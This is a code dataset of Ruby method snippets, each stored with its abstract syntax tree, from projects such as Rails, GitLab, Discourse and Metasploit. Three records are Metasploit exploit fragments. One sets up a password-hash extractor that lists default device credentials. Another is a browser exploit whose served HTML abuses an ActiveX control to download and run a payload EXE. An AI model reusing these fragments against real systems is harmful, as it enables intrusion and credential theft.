{"repo_name":"discourse","file_path":"./repos/discourse/app/models/locale_site_setting.rb","start_line":56,"raw_source":"def self.reset!\n    @lock.synchronize { @values = @language_names = @supported_locales = nil }\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reset!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lock\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"ivasgn\",\"children\":[\"@language_names\",{\"type\":\"ivasgn\",\"children\":[\"@supported_locales\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"1417a9af-d435-492b-be29-a14da52f6fc6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Cambium ePMP 1000 'ping' Password Hash Extractor (up to v2.5)\",\n        'Description' => %q{\n          This module exploits an OS Command Injection vulnerability in Cambium\n          ePMP 1000 (<v2.5) device management portal. It requires any one of the\n          following login credentials - admin/admin, installer/installer, home/home - to\n          dump system hashes.\n        },\n        'References' => [\n          ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],\n          ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'],\n          ['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING]\n        ],\n        'Author' => [\n          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\t# Application may run on a different port too. Change port accordingly.\n        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),\n        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])\n      ], self.class\n    )\n\n    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')\n  end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cambium ePMP 1000 'ping' Password Hash Extractor (up to v2.5)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an OS Command Injection vulnerability in Cambium\\n\"]},{\"type\":\"str\",\"children\":[\"          ePMP 1000 (<v2.5) device management portal. It requires any one of the\\n\"]},{\"type\":\"str\",\"children\":[\"          following login credentials - admin/admin, installer/installer, home/home - to\\n\"]},{\"type\":\"str\",\"children\":[\"          dump system hashes.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1003_OS_CREDENTIAL_DUMPING\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Karn Ganeshen <KarnGaneshen[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"installer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"installer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"DB_ALL_CREDS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_PASS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_USERS\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"USER_FILE\"]},{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]},{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]}]}","id":"c6db135b-8af9-47ec-8b72-ba7d17c69b98"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/acceptance_validation_test.rb","start_line":73,"raw_source":"def test_validates_acceptance_of_for_ruby_class\n    klass = define_test_class(Person)\n    klass.validates_acceptance_of :karma\n\n    p = klass.new\n    p.karma = \"\"\n\n    assert_predicate p, :invalid?\n    assert_equal [\"must be accepted\"], p.errors[:karma]\n\n    p.karma = \"1\"\n    assert_predicate p, :valid?\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_acceptance_of_for_ruby_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"define_test_class\",{\"type\":\"const\",\"children\":[null,\"Person\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"validates_acceptance_of\",{\"type\":\"sym\",\"children\":[\"karma\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"karma=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"must be accepted\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"karma\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"karma=\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"57348802-915b-4b8e-b07f-a45817c0280a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/rollout_instances.rb","start_line":32,"raw_source":"def extra_pending_pods\n        wanted_instances = sum_hashes(deployments.map { |d| { d.track => d.wanted_instances } })\n        present_instances = sum_hashes(matching_pods.map { |p| { p.track => 1 } })\n        pending_instances = subtract_hashes(wanted_instances, present_instances)\n\n        pending_instances.flat_map do |track, num|\n          Array.new(num, pending_pod_for(track))\n        end\n      end","complexity_score":22.23,"ast_json":"{\"type\":\"def\",\"children\":[\"extra_pending_pods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wanted_instances\",{\"type\":\"send\",\"children\":[null,\"sum_hashes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deployments\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"track\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"wanted_instances\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"present_instances\",{\"type\":\"send\",\"children\":[null,\"sum_hashes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matching_pods\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"track\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pending_instances\",{\"type\":\"send\",\"children\":[null,\"subtract_hashes\",{\"type\":\"lvar\",\"children\":[\"wanted_instances\"]},{\"type\":\"lvar\",\"children\":[\"present_instances\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pending_instances\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"track\"]},{\"type\":\"arg\",\"children\":[\"num\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"num\"]},{\"type\":\"send\",\"children\":[null,\"pending_pod_for\",{\"type\":\"lvar\",\"children\":[\"track\"]}]}]}]}]}]}","id":"095f3ef8-7410-42f1-b4ca-44ec90174421"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_jetspeed_file_upload.rb","start_line":111,"raw_source":"def jetspeed_login\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/jetspeed/login/redirector'\n    )\n\n    res = send_request_cgi!(\n      'method' => 'POST',\n      'uri' => '/jetspeed/login/j_security_check',\n      'cookie' => res.get_cookies,\n      'vars_post' => {\n        'j_username' => username,\n        'j_password' => password\n      }\n    )\n\n    @cookie = res.get_cookies\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"jetspeed_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/jetspeed/login/redirector\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/jetspeed/login/j_security_check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"send\",\"children\":[null,\"password\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]}]}]}","id":"9c0610c7-5ccb-441c-84a2-702748e4724d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/create_merge_request_handler.rb","start_line":115,"raw_source":"def patch_attachments\n          @patches ||= mail.attachments\n                         .select { |attachment| attachment.filename.ends_with?('.patch') }\n                         .sort_by(&:filename)\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_attachments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@patches\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\"]},\"attachments\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"filename\"]},\"ends_with?\",{\"type\":\"str\",\"children\":[\".patch\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]}]}]}]}]}","id":"f635d028-b869-4be6-94f9-e3fb16205ca8"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/work_packages/reminder/modal_body_component_preview.rb","start_line":43,"raw_source":"def edit\n        remindable = FactoryBot.build_stubbed(:work_package)\n        reminder = FactoryBot.build_stubbed(:reminder, remindable:)\n        errors = []\n\n        render_with_template(locals: { remindable:, reminder:, errors: })\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remindable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"work_package\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reminder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"reminder\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remindable\"]},{\"type\":\"lvar\",\"children\":[\"remindable\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render_with_template\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remindable\"]},{\"type\":\"lvar\",\"children\":[\"remindable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder\"]},{\"type\":\"lvar\",\"children\":[\"reminder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]}]}]}]}]}]}","id":"91c2a181-f905-491d-b0ef-e61145767da4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb","start_line":61,"raw_source":"def on_request_uri(cli, request)\n    payload_url = \"http://\"\n    payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n    payload_url += \":\" + datastore['SRVPORT'].to_s + get_resource() + \"/payload\"\n\n    if (request.uri.match(/payload/))\n      return if ((p = regenerate_payload(cli)) == nil)\n\n      data = generate_payload_exe({ :code => p.encoded })\n      print_status(\"Sending payload EXE\")\n      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n      return\n    end\n\n    vname = rand_text_alpha(rand(100) + 1)\n    exe = rand_text_alpha(rand(20) + 1)\n\n    content = %Q|\n    <html>\n      <object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>\n      <script language=\"JavaScript\">\n        #{vname}.DownloadFile(\"#{payload_url}\", \"#{datastore['PATH']}\\\\#{exe}.exe\", 1, 1);\n      </script>\n    </html>\n        |\n\n    print_status(\"Sending #{self.name}\")\n\n    send_response_html(cli, content)\n\n    handler(cli)\n  end","complexity_score":60.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending payload EXE\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[20]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    <html>\\n\"]},{\"type\":\"str\",\"children\":[\"      <object id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"      <script language=\\\"JavaScript\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".DownloadFile(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\", \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]}]},{\"type\":\"str\",\"children\":[\".exe\\\", 1, 1);\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"d2c4652f-6509-4944-84d7-1dae9e33507b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/grape_logging/loggers/filter_parameters.rb","start_line":14,"raw_source":"def safe_parameters(request)\n          loggable_params = super\n          settings = request.env[Grape::Env::API_ENDPOINT]&.route&.settings\n\n          return loggable_params unless settings&.key?(:log_safety)\n\n          settings[:log_safety][:safe].each do |key|\n            loggable_params[key] = request.params[key] if loggable_params.key?(key)\n          end\n\n          settings[:log_safety][:unsafe].each do |key|\n            loggable_params[key] = @replacement if loggable_params.key?(key)\n          end\n\n          loggable_params\n        end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loggable_params\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"settings\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Grape\"]},\"Env\"]},\"API_ENDPOINT\"]}]},\"route\"]},\"settings\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"log_safety\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loggable_params\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log_safety\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"safe\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loggable_params\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loggable_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log_safety\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"unsafe\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loggable_params\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loggable_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"ivar\",\"children\":[\"@replacement\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"loggable_params\"]}]}]}","id":"3c7d767e-308f-4468-b75d-54c5d39390b0"}
